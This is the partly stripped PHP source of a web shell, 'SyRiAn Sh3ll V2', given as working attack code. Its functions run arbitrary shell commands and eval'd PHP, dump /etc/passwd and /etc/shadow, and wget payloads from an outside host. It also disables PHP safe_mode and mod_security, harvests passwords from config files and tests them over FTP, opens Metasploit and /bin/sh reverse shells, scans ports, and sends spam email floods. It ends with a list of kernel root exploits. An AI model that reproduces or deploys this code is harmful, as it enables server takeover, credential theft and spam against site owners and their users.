SyRiAn Sh3ll ~ V2~ [ B3 Cr34T!V3 Or D!3 TRy!nG ]

UserName :

Password :

'; exit; } } } # ---------------------------------------# # Operating System # #----------------------------------------# $os = null; $dir = getcwd(); if(strlen($dir)>1 && $dir[1]==":") $os = "Windows"; else $os = "Linux"; # ---------------------------------------# # Server Dir # #----------------------------------------# if(empty($dir)) { $opsy = getenv('OS'); if(empty($opsy)) { $opsy = php_uname(); } if(empty($opsy)) { $opsy ="-"; $os = "Linux"; } else { if(eregi("^Windows",$opsy)) { $os = "Windows"; } else { $os = "Linux"; } } } if($os == "Linux") { $pwd = @Exe("pwd"); } elseif($os == "Windows") { $pwd = @Exe("cd");} if(empty($pwd)) { $pwd = getcwd(); } # ---------------------------------------# # Header # #----------------------------------------# $serverIP = gethostbyname($_SERVER["HTTP_HOST"]); $server = @substr($SERVER_SOFTWARE,0,120); echo "

SyRiAn Sh3ll
V2

[Main] [Scripts Hacking] [Spamming] [Bypass] [About] [Logout] [SuiCide]

Safe Mode = ".@SafeMode()." System = ".$os." Magic_Quotes = ". @magicQouts()." Curl = ".@Curl()." Register Globals = ".@RegisterGlobals()." Open Basedir = ".@openBaseDir()."
Gzip = ".@Gzip()." MySQLI = ".@MysqlI()." MSQL = ".@MSQL()." SQL Lite = ".@SQlLite()." Usefull Locals = ".rootxpL()."
Free Space = ".@HardSize(disk_free_space('/'))." Total Space = ".@HardSize(disk_total_space("/"))." PHP Version = ".@phpversion()." Zend Version = ".@zend_version()." MySQL Version = ".@mysql_get_server_info()."
MySQL = ".MySQL2()." MsSQL = ".MsSQL()." PostgreSQL = ".PostgreSQL()." Oracle = ".Oracle()." Server Name = ".$_SERVER['HTTP_HOST']." Server Admin = ".$_SERVER['SERVER_ADMIN']."
Dis_Functions = ". DisableFunctions()."
Your IP = ". GetRealIP()." Server IP = ".gethostbyname($_SERVER["HTTP_HOST"])." [Bing Search] [Reverse IP] Date Time = ".date('Y-m-d H:i:s')."

  Server :
uname -a :
pwd :
ID :

  ".$server."
  ".$uname." [Google]
  ".$dir."
  ".Exe('id')."

  [Down] [Print]

"; # ---------------------------------------# # SuiCide # #----------------------------------------# if($_GET['id'] == 100) { echo ""; } if($_GET['id'] == 'Delete') { Suicide(); } # ---------------------------------------# # Main Page # #----------------------------------------# if ($_GET['id']== 'mainPage' ) { echo "

if(!$_POST || $_POST['login'] || $_POST['changeDirectory']) // Show Current Directory Contents if No Post in requesting ... 
	{
		@chdir($_POST['directory']);
		if($os == "Windows")
		{
			echo Exe('dir');
		}
		else if($os == "Linux")
		{
			echo Exe('ls -lia');
		}
	}
	
	else if($_POST['submitCommands']) // Execute The Alias Command .
		{
			$alias = $_POST['alias'];
			@chdir($directory);
			echo Exe($alias);
		}
	else if($_POST['Execute']) // Execute The Command From Command Line  .
		{
			@chdir($directory);
			$cmd = $_POST['cmd'];
			echo Exe($cmd);
		}
		else if($_POST['submitEval']) // Execute Eval Code .
		{
			$eval = @str_replace("<?php","",$_POST['php_eval']);
			$eval = @str_replace("<?php","",$eval);
			$eval = @str_replace("?>","",$eval);
			$eval = @str_replace("\\","",$eval);
			echo eval($eval);
		}
		# --------------------------
		#   Hash Analyzer        
		#---------------------------
		else if($_POST['analyzieNow'])
		{
			$hash = $_POST['hashToAnalyze'];
			$subHash = substr($hash,0,3);
			if($subHash =='$ap' && strlen($hash) == 37)
			{
				echo "The Hash : ".$hash." is : MD5(APR) Hash";
			}
			else if($subHash =='$1$' && strlen($hash) == 34)
			{
				echo "The Hash : ".$hash." is : MD5(UNIX) Hash";
			}
			else if($subHash =='$H$' && strlen($hash) == 35)
			{
				echo "The Hash : ".$hash." is : MD5(phpBB3) Hash";
			}
			else if(strlen($hash) == 29)
			{
				echo "The Hash : ".$hash." is : MD5(Wordpress) Hash";
			}
			else if($subHash =='$5$' && strlen($hash) == 64)
			{
				echo "The Hash : ".$hash." is : SHA256(UNIX) Hash";
			}
			else if($subHash =='$6$' && strlen($hash) == 128)
			{
				echo "The Hash : ".$hash." is : SHA512(UNIX) Hash";
			}
			else if(strlen($hash) == 56)
			{
				echo "The Hash : ".$hash." is : SHA224 Hash";
				}
			else if(strlen($hash) == 64)
			{
				echo "The Hash : ".$hash." is : SHA256 Hash";
				}
			else if(strlen($hash) == 96)
			{
				echo "The Hash : ".$hash." is : SHA384 Hash";
			}
			else if(strlen($hash) == 128)
			{
				echo "The Hash : ".$hash." is : SHA512 Hash";
			}
			else if(strlen($hash) == 40)
			{
				echo "The Hash : ".$hash." is : MySQL v5.x Hash";
			}
			else if(strlen($hash) == 16)
			{
				echo "The Hash : ".$hash." is : MySQL Hash";
			}
			else if(strlen($hash) == 13)
			{
				echo "The Hash : ".$hash." is : DES(Unix) Hash";
			}
			else if(strlen($hash) == 32)
			{
				echo "The Hash : ".$hash." is : MD5 Hash";
			}
			else if(strlen($hash) == 4)
			{
				echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";}
			else 
			{
				echo "Error : Can't Detect Hash Type";
			}
		}
		# --------------------------
		#  Show Users    
		#---------------------------
		else if($_POST['showUsers'])
		{
			function showUsers()
			{

if($rows = Exe('cat /etc/passwd'))
				{
					echo $rows;
				}
				elseif($rows= Exe('cat /etc/domainalias'))
				{
					echo $rows;
				}
				elseif($rows= Exe('cat /etc/shadow')) 
				{
					echo $rows;
				}
				elseif($rows= Exe('cat /var/mail')) 
				{
					echo $rows;
				}
				elseif($rows= Exe('cat /etc/valiases')) 
				{
					echo $rows;
				}
				else { echo "[-] Can't Show Users :( ... Sorry ";}
			}
			showUsers();
			
		}
		# --------------------------
		#   Generate perl      
		#---------------------------
		else if($_POST['generatePel'])
		{
			@chdir($_POST["cgiperlPath"]);
			@mkdir("cgi", 0755);
			@chdir("cgi");
			Exe('wget http://library-ar.com/sy34/cgi.rar');
			Exe('mv cgi.rar cgi.sy3');
			@chmod("cgi.sy3","0755");
			$cgi_h = fopen('.htaccess','w+');
			@fwrite($cgi_h,'AddHandler cgi-script .sy3');
			echo '
cgi.sy3 & .htaccess Has Been Created in [ cgi ]  Directory 
Password Is : sy34' ;
		}
		# --------------------------
		#   Generate Server   
		#---------------------------
		else if($_POST['generateSER'])
		{
			@chdir($_POST['ShourtCutPath']);
			@mkdir("allserver", 0755);
			@chdir("allserver");
			Exe("ln -s / allserver");
			GenerateFile(".htaccess","
			Options Indexes FollowSymLinks
			DirectoryIndex ssssss.htm
			AddType txt .php
			AddHandler txt .php");
			echo 'Now Go to allserver folder '.$_POST['ShourtCutPath'].'' ;
		}
		# --------------------------
		#   Change Mode 
		#---------------------------
		else if($_POST['changePermission'])
		{
			$ch_ok = @chmod($_POST['fileName'],$_POST['per']);
			if($ch_ok)
			echo "Permission Changed Successfully ! " ;
			else echo "Changing Is Not Allowed Or The File is not Exist !";
		}
		# --------------------------
		#   Generate Users
		#---------------------------
		else if($_POST['GenerateUsers'])
		{
			@chdir($_POST['usersPath']);
			@mkdir("users", 0755);
			@chdir('users');
			Exe('wget http://library-ar.com/sy34/users.rar');
			Exe('mv users.rar users.sy3');
			@chmod('users.sy3',0755 );
			$user_h = fopen('.htaccess','w+');
			fwrite($user_h,'AddHandler cgi-script .sy3');
			echo "users.sy3 & .htaccess Has Been Created in [ users ]  Directory" ;
		}
		# --------------------------
		#   Forbidden
		#---------------------------
		else if($_POST['generateForbidden'])
		{
			@chdir($_POST['forbiddenPath']);
			@mkdir('forbidden');
			@chdir('forbidden');
			$htaccess = fopen('.htaccess','w+');
			if($_POST['403'] == 'DirectoryIndex')
			{
				fwrite($htaccess,"DirectoryIndex in.txt");
			}
			elseif($_POST['403'] == 'HeaderName')
			{
				fwrite($htaccess,"HeaderName in.txt");
			}
			elseif($_POST['403'] == 'TXT')
			{
				fwrite($htaccess,"
				Options Indexes FollowSymLinks 
				addType txt .php 
				AddHandler txt .php");
			}
			elseif($_POST['403'] == '404')
			{
				fwrite($htaccess,"
				ErrorDocument 404 /404.html 
				404.html = Symlinked in.txt  ");
			}
			elseif($_POST['403'] == 'ReadmeName')
			{
				fwrite($htaccess,"ReadmeName in.txt");
			}
			elseif($_POST['403'] == 'footerName')
			{
				fwrite($htaccess,"footerName in.txt");
			}
			echo "
Now Go To [ forbidden ] Dir And Then make The Shortcut [ in.txt ]
EX : ln -s /home/user/public_html/config.php in.txt";
		}
		# --------------------------
		#   Upload Files
		#---------------------------
		else if($_POST['UploadNow'])
		{
			$nbr_uploaded =0;
			$files_uploded = array();
			$path= '';
			$target_path= $path . basename($_FILES['uploadfile']['name'][$i]);
			for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++)
			{
				if($_FILES['uploadfile']['name'][$i] != '')
				{
					move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $target_path . $_FILES['uploadfile']['name'][$i]);
					$files_uploded[] = $_FILES['uploadfile']['name'][$i];
					$nbr_uploaded++;
					echo "The File  ".basename($_FILES['uploadfile']['name'][$i])." Uploaded Successfully !
";
				}
				else "The File  ".basename($_FILES['uploadfile']['name'][$i])."  Can't Be Upload :( !";
			}
		}
		# --------------------------
		#   no Security
		#---------------------------
		else if($_POST['phpiniGenerate'])
		{
			GenerateFile("php.ini","
			safe_mode = Off
			disable_functions = NONE
			safe_mode_gid = OFF
			open_basedir = OFF");
			echo "php.ini Has Been Generated Successfully
			";
		}
		else if($_POST['htaccessGenerate'])
		{
			GenerateFile(".htaccess","
			<IfModule mod_security.c>
			SecFilterEngine Off
			SecFilterScanPOST Off
			SecFilterCheckURLEncoding Off
			SecFilterCheckCookieFormat Off
			SecFilterCheckUnicodeEncoding Off
			SecFilterNormalizeCookies Off
			</IfModule>
			SetEnv PHPRC ".getcwd()."php.ini
			suPHP_ConfigPath ".getcwd()."php.ini
			");
			echo ".htaccess Has Been Generated Successfully 
			";
		}
		else if($_POST['iniphpGenerate'])
		{
			GenerateFile("ini.php","
			ini_restore(\"safe_mode\");
			ini_restore(\"open_basedir\");
			");
			echo "ini.php Has Been Generated Successfully
			";
		}
		# --------------------------
		#  Reading Files
		#---------------------------
		else if($_POST['submitReadFiles'])
		{
			$myFile = $_POST['readfile'];
			$myFile = str_replace('\\\\','\\',$myFile);
			$openMyFile = fopen($myFile,'r');
			if(function_exists('fread'))
			{
				echo fread($openMyFile,100000);	
			}
			elseif(function_exists('fgets'))
			{
				echo fgets($openMyFile);
			}
			elseif(function_exists('readfile'))
			{
				echo readfile($openMyFile);
			}
			elseif(function_exists('file_get_contents'))
			{
				$readMyFile = @file_get_contents($myFile, NULL, NULL, 0, 1000000);
				var_dump($readMyFile);
			}
			elseif(function_exists('file'))
			{
				$readMyFile = file($myFile); 
				foreach ($readMyFile as $line_num => $readMyFileLine) 
				{ 
					echo "Line #$line_num : " . $readMyFileLine . "
					"; 
				}
			}
			elseif(Exe("'cat ".$myFile."'"))
			{
				echo Exe("'cat ".$myFile."'");	
			}
			else 
			{
				echo "Reading File has Falied !!";
			}
			fclose($openMyFile);
		}
		# --------------------------
		#   Encryption
		#---------------------------
		else if($_POST['encryptNow'])
		{
			if(!$_POST['ENCRYPTION'] == '')
			{
				$md5 = $_POST['ENCRYPTION'];
				echo "
MD5 			: ".md5($md5)."
Base64 Encode   	: ".base64_encode($md5)."
Base64 Decode   	: ".base64_decode($md5)."
Crypt 			: ".crypt($md5)."
SHA1 			: ".sha1($md5)."
MD4 			: ".hash("md4",$md5)."
SHA256 			: ".hash("sha256",$md5)."
URL Encoding 		: ".urlencode($md5)."
URL Decoding 		: ".str_hex($md5)."
CRC32 			: ".crc32($md5)."
Length 			: ".strlen($md5)."";
			}
		}
		
		# --------------------------
		#   Metasploit RC
		#---------------------------
		else if($_POST['metaConnect'])
		{
			$ip = $_POST['ip'];
			$port = $_POST['port'];
			if ($ip == "" && $port == "")
			{
				echo "Please fill IP Adress & The listen Port";
			} 
			else 
			{
				$ipaddr = $ip; 
				$port = $port;
				if (FALSE !== strpos($ipaddr, ":")) 
				{
					$ipaddr = "[". $ipaddr ."]";
				}
				if (is_callable('stream_socket_client')) 
				{
					$msgsock = @stream_socket_client("tcp://{$ipaddr}:{$port}");
					if (!$msgsock)
					{
						die(); 
					}
					$msgsock_type = 'stream';
				} 
				elseif (is_callable('fsockopen')) 
				{
					$msgsock = fsockopen($ipaddr,$port);
					if (!$msgsock) 
					{
						die(); 
					}
					$msgsock_type = 'stream';
				}
				elseif (is_callable('socket_create')) 
				{
					$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
					$res = socket_connect($msgsock, $ipaddr, $port);
					if (!$res) 
					{
						die(); 
					}
					$msgsock_type = 'socket';
				} 
				else 
				{
					die();
				}
				switch ($msgsock_type) 
				{ 
					case 'stream': $len = fread($msgsock, 4); break;
					case 'socket': $len = socket_read($msgsock, 4); break;
				}
				if (!$len) 
				{
					die();
				}
				$a = unpack("Nlen", $len);
				$len = $a['len'];
				$buffer = '';
				while (strlen($buffer) < $len) 
				{
					switch ($msgsock_type) 
					{ 
						case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); 
						break;
						case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));
						break;
					}
				}
				eval($buffer);
				echo "[*] Connection Terminated";
				die();
			}
		}
		
		# --------------------------
		#  Scan Ports
		#---------------------------
		else if($_POST['submitDomainToScanPort'])
		{
			$domainToScan = $_POST['domainToScanPort'];
			if(!$domainToScan)
			{
				echo "[-] Enter IP Address Or Domain To Scan";
			}
			else 
			{
				for($i=0;$i<1024;$i++) 
				{
					$fp = @fsockopen($domainToScan,$i,$errno,$errstr,10);
					if($fp)
					{
						echo "[+] port " . $i . " open on " . $domainToScan . "
";
					}
					else
					{
						echo "[+] port " . $i . " closed on " . $domainToScan . "
";
					}
					flush();
				} 
				fclose($fp);
			}
		}
			
			if (isset($_POST["submit_lol"])) 
			{
				@set_time_limit(0);
				$url = $_POST['hash_lol'];
				echo "Testing ".$url."
";
			
				$adminlocales = array("admin1.php", "admin1.html", "admin2.php", "admin2.html", "yonetim.php", "yonetim.html", "yonetici.php", "yonetici.html", "ccms/", 		"ccms/login.php", "ccms/index.php", "maintenance/", "webmaster/", "adm/", "configuration/", "configure/", "websvn/", "admin/", "admin/account.php", "admin/account.html". "admin/index.php", "admin/index.html", "admin/login.php". "admin/login.html", "admin/home.php", "admin/controlpanel.html", "admin/controlpanel.php", "admin.php", "admin.html", "admin/cp.php", "admin/cp.html", "cp.php", "cp.html", "administrator/", "administrator/index.html", "administrator/index.php", "administrator/login.html", "administrator/login.php", "administrator/account.html", "administrator/account.php", "administrator.php", "administrator.html", "login.php", "login.html", "modelsearch/login.php", "moderator.php", "moderator.html", "moderator/login.php", "moderator/login.html", "moderator/admin.php", "moderator/admin.html", "moderator/", "account.php", "account.html", "controlpanel/", "controlpanel.php", "controlpanel.html", "admincontrol.php", "admincontrol.html", "adminpanel.php", "adminpanel.html", "admin1.asp", "admin2.asp", "yonetim.asp", "yonetici.asp", "admin/account.asp", "admin/index.asp", "admin/login.asp", "admin/home.asp", "admin/controlpanel.asp", "admin.asp", "admin/cp.asp", "cp.asp", "administrator/index.asp", "administrator/login.asp", "administrator/account.asp", "administrator.asp", "login.asp", "modelsearch/login.asp", "moderator.asp", "moderator/login.asp", "moderator/admin.asp", "account.asp", "controlpanel.asp", "admincontrol.asp", "adminpanel.asp", "fileadmin/", "fileadmin.php", "fileadmin.asp", "fileadmin.html", "administration/", "administration.php", "administration.html", "sysadmin.php", "sysadmin.html", "phpmyadmin/", "myadmin/", "sysadmin.asp", "sysadmin/", "ur-admin.asp", "ur-admin.php", "ur-admin.html", "ur-admin/", "Server.php", "Server.html", "Server.asp", "Server/", "wp-admin/", "administr8.php", "administr8.html", "administr8/", "administr8.asp", "webadmin/", "webadmin.php", "webadmin.asp", "webadmin.html", "administratie/", "admins/", "admins.php", "admins.asp", "admins.html", "administrivia/", "Database_Administration/", "WebAdmin/", "useradmin/", "sysadmins/", "admin1/", "system-administration/", "administrators/", "pgadmin/", "directadmin/", "staradmin/", "ServerAdministrator/", "SysAdmin/", "administer/", "LiveUser_Admin/", "sys-admin/", "typo3/", "panel/", "cpanel/", "cPanel/", "cpanel_file/", "platz_login/", "rcLogin/", "blogindex/", "formslogin/", "autologin/", "support_login/", "meta_login/", "manuallogin/", "simpleLogin/", "loginflat/", "utility_login/", "showlogin/", "memlogin/", "members/", "login-redirect/", "sub-login/", "wp-login/", "login1/", "dir-login/", "login_db/", "xlogin/", "smblogin/", "customer_login/", "UserLogin/", "login-us/", "acct_login/", "admin_area/", "bigadmin/", "project-admins/", "phppgadmin/", "pureadmin/", "sql-admin/", "radmind/", "openvpnadmin/", "wizmysqladmin/", "vadmind/", "ezsqliteadmin/", "hpwebjetadmin/", "newsadmin/", "adminpro/", "Lotus_Domino_Admin/", "bbadmin/", "vmailadmin/", "Indy_admin/", "ccp14admin/", "irc-macadmin/", "banneradmin/", "sshadmin/", "phpldapadmin/", "macadmin/", "administratoraccounts/", "admin4_account/", "admin4_colon/", "radmind-1/", "Super-Admin/", "AdminTools/", "cmsadmin/", "SysAdmin2/", "globes_admin/", "cadmins/", "phpSQLiteAdmin/", "navSiteAdmin/", "server_admin_small/", "logo_sysadmin/", "server/", "database_administration/", "power_user/", "system_administration/", "ss_vms_admin_sm/");
			
				foreach ($adminlocales as $admin)
				{
					$headers = @get_headers("$url$admin");
					if (@eregi('200', $headers[0])) 
					{
						echo "[+] $url$admin  Found!";
					}
				}
			}
			# --------------------------
			#   Config Finder
			#---------------------------
			else if($_POST['configFinderSubmit'])
			{
				set_time_limit(0); 
				$passwd=fopen('/etc/passwd','r'); 
				if (!$passwd)
				{ 
					echo "[-] Error : coudn't read /etc/passwd"; 
					exit; 
				} 
				$path_to_public=array(); 
				$users=array(); 
				$pathtoconf=array(); 
				$i=0; 
				while(!feof($passwd)) 
				{ 
					$str=fgets($passwd); 
					if ($i>35) 
					{ 
					   $pos=strpos($str,":"); 
					   $username=substr($str,0,$pos); 
					   $dirz="/home/$username/public_html/"; 
					   if (($username!="")) 
					   { 
						   if (is_readable($dirz)) 
						   { 
							   array_push($users,$username); 
							   array_push($path_to_public,$dirz); 
						   } 
					   } 
					} 
					$i++; 
				} 
				echo ""; 
				echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
			"; 
				echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories
			"; 
				echo "[~] Searching for passwords in config.* files...
			"; 
				foreach ($users as $user) 
				{ 
					   $path="/home/$user/public_html/"; 
					   read_dir($path,$user); 
				} 
				echo "[+] Done"; 
			}
			# --------------------------
			#   Mail Storm
			#---------------------------
			else if($_POST['sendMailStorm'])
			{
				$to=$_POST['to'];
				$nom=$_POST['nom'];
				$Comments=$_POST['Comments'];
				if ($to <> "" )
				{
					for ($i = 0; $i < $nom ; $i++)
					{
						$from = rand (71,1020000000)."@"."Attacker.com";
						$subject= md5("$from");
						if(@mail($to,$subject,$Comments,"From:$from"))
						echo "[+] $i spammed
";
						else 
						{
							echo "[-] $i Failed !! 
";
						}
					}
				}
			}
			# --------------------------
			#   Extract Emails				
			#---------------------------
			else if($_POST['getEmails'])
			{
				$emhost = $_POST['EM_HOST'];
				$emuser = $_POST['EM_USER'];
				$empass = $_POST['EM_PASS'];
				$emdb = $_POST['EM_DB'];
				$emtab = $_POST['EM_TABLE'];
				$emtab2 = $_POST['EM_PREFIX'].$emtab;
				$emcol = $_POST['EM_COLUMN'];
				$try2Connect = @mysql_connect($emhost,$emuser,$empass);
				if(!$try2Connect) 
				{
					echo "[-] Can't Connect To DB !! [ user name || password is wrong ! ] .
";
				}
				$try2Select = @mysql_select_db($emdb);
				if(!$try2Select && $try2Connect) 
				{
					echo "[-] DB Name is Wrong !! . ";
				}
				$sql = @mysql_query("SELECT * FROM $emtab2");
				while ($res = @mysql_fetch_array($sql))
				{
					echo ''.$res["$emcol"].'
';
				}
			}
			// Help 
			else if($_POST['emailExtractorHelp'])
			{
				echo "This is Some Tables Name & Columns Name For Some Fam Scripts ..

[+] VBulletin
Table-name : user
column-name : email

[+] WordPress 
Table-name : wp_users
column-name : user_email

[+] Joomla 
Table-name : users
column-name : email

[+] PHPBB 
Table-name : users
column-name : user_email

[+] I.P.Board 
Table-name : members
column-name : email

[+] SMF 
Table-name : members
column-name : emailAddress ";
			}
			# --------------------------
			#   MySQL Query
			#---------------------------
			else if($_POST['MySQLQuery'])
			{
				$qu_host =$_POST['QU_HOST'];
				$qu_user =$_POST['QU_USER'];
				$qu_pass =$_POST['QU_PASS'];
				$qu_db =$_POST['QU_DB'];
				$query =$_POST['QU'];
				if (empty($_POST['QU_HOST']))
				$qu_host = 'localhost';
				$query = str_replace("\\","",$query);
				if (!empty($_POST['QU']))
				{
					$tryConnection = @mysql_connect($qu_host,$qu_user,$qu_pass);
					if(!$tryConnection)
					{
						echo "[-] Unable TO Connect DATABASE ! Username Or Password Is Wrong !!";
					}
					else
					{
						$selectDB = @mysql_select_db($qu_db);
						if(!$selectDB)
						{
							echo "[-] Database Name Is Wrong !!";
						}
						else
						{
							$qqok1 = mysql_query($query);
							if(!$qqok1)
							{
								echo "[-] Can't Execute The Query";
							}
						}
					}
					@mysql_close();
				}
				if ($qqok1)
				{
					update(); 
				}
			}
				# --------------------------
				#   SQL Reader
				#---------------------------
			else if($_POST['SQLRequest2Read'])
			{
				$sql_host = $_POST['SQL_HOST'];
				$sql_user = $_POST['SQL_USER'];
				$sql_pass = $_POST['SQL_PASS'];
				$sql_db = $_POST['SQL_DB'];
				if (!$_POST['SQL_HOST'])
				$sql_host = "localhost";
				$sql_con = @mysql_connect($sql_host,$sql_user,$sql_pass) or die ("[-] Unable To Connect Database .. Username Or Password is Wrong !");
				@mysql_select_db($sql_db) or die("[-] Database Name Is Wrong !");

}
			else if ($_POST['SQLToRead'])
			{
				$filetoread = $_POST['filetoread'];
				@mysql_query("DROP TABLE sql CASCADE CONSTRAINT");
				@mysql_query("CREATE TABLE sql (info varchar(255))");
				@mysql_query("LOAD DATA LOCAL INFILE '$filetoread' INTO TABLE sql");
				$write_sql = mysql_query('SELECT * FROM sql');
				echo $write_sql;
			}
			else if($_POST['editFileSubmit'])
			{
				$file2Edit = $_POST['editFile'];
				echo @file_get_contents($file2Edit);
			}
			else if($_POST['saveEditedFile'])
			{
				$fileName = $_POST['file2edit'];
				$newFile = $_POST['ExecutionArea'];
				$trytoGenerate = GenerateFile($fileName,$newFile);
				if($trytoGenerate)
				{
					echo "[+] File Saved !";
				}
				else 
				{
					echo "[-] Failed To Save File !!";	
				}
			}

echo "

"; if($_POST['editFileSubmit']) { echo " "; echo ""; } echo "

Back Connection

"; if($_POST['backConnectionSubmit']) { $ip = $_POST['yourip']; $port = $_POST['yourport']; @set_time_limit (0); $VERSION = "1.0"; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("[-] ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("[-] Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("[-] WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("[-] Error Can't Connect !! "); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("[+] Connected Successfully With $ip:$port"); printit("[+] SyRiAn Sh3ll V2"); while (1) { if (feof($sock)) { printit("[-] ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("[-] ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } } echo "

	Config Finder
Enter your username and password to login
	Username
	Password
		Remember me

";print"

$delmtxt

"; } function callfuncs($cmnd) { if (function_exists(shell_exec)) { $scmd=shell_exec($cmnd); $nscmd=htmlspecialchars($scmd); print $nscmd; } elseif(!function_exists(shell_exec)) { exec($cmnd,$ecmd); $ecmd = join("\n",$ecmd); $necmd=htmlspecialchars($ecmd); print $necmd; } elseif(!function_exists(exec)) { $pcmd = popen($cmnd,"r"); while (!feof($pcmd)) { $res = htmlspecialchars(fgetc($pcmd)); print $res; } pclose($pcmd); } elseif(!function_exists(popen)) { ob_start(); system($cmnd); $sret = ob_get_contents(); ob_clean(); print htmlspecialchars($sret); } elseif(!function_exists(system)) { ob_start(); passthru($cmnd); $pret = ob_get_contents(); ob_clean(); print htmlspecialchars($pret); } } function input($type,$name,$value,$size) { if (empty($value)) { print ""; } elseif(empty($name)&&empty($size)) { print ""; } elseif(empty($size)) { print ""; } else { print ""; } } function permcol($path) { if (is_writable($path)) { print ""; callperms($path); print ""; } elseif (!is_readable($path)&&!is_writable($path)) { print ""; callperms($path); print ""; } else { print "";callperms($path); } } function read_dir($path,$username) { if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $fpath="$path$file"; if (($file!='.') and ($file!='..')) { if (is_readable($fpath)) { $dr="$fpath/"; if (is_dir($dr)) { read_dir($dr,$username); } else { if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) { $pass=get_pass($fpath); if ($pass!='') { echo "[+] $fpath\n$pass\n"; ftp_check($username,$pass); } } } } } } } } function get_pass($link) { @$config=fopen($link,'r'); while(!feof($config)) { $line=fgets($config); if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) { if (strrpos($line,'"')) $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3))); else $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3))); return $pass; } } } function ftp_check($login,$pass) { @$ftp=ftp_connect('127.0.0.1'); if ($ftp) { @$res=ftp_login($ftp,$login,$pass); if ($res) { echo '[FTP] '.$login.':'.$pass." Success\n"; } else ftp_quit($ftp); } } function GetRealIP() { if (getenv(HTTP_X_FORWARDED_FOR)) { $ip=getenv(HTTP_X_FORWARDED_FOR); } elseif (getenv(HTTP_CLIENT_IP)) { $ip=getenv(HTTP_CLIENT_IP); } else { $ip=getenv(REMOTE_ADDR); } return $ip; } function openBaseDir() { $openBaseDir = ini_get("open_basedir"); if (!$openBaseDir) { $openBaseDir = '0ff'; } else { $openBaseDir = '0N'; } return $openBaseDir; } function str_hex($string) { $hex=''; for ($i=0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex; } function SafeMode() { $safe_mode = ini_get("safe_mode"); if (!$safe_mode) { $safe_mode = '0ff'; } else { $safe_mode = '0N'; } return $safe_mode; } function currentFileName() { $currentFileName = $_SERVER["SCRIPT_NAME"]; $currentFileName = Explode('/', $currentFileName); $currentFileName = $currentFileName[count($currentFileName) - 1]; return $currentFileName; } function Suicide() { unlink(currentFileName()); } function rootxpL() { $v=@php_uname(); $db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, 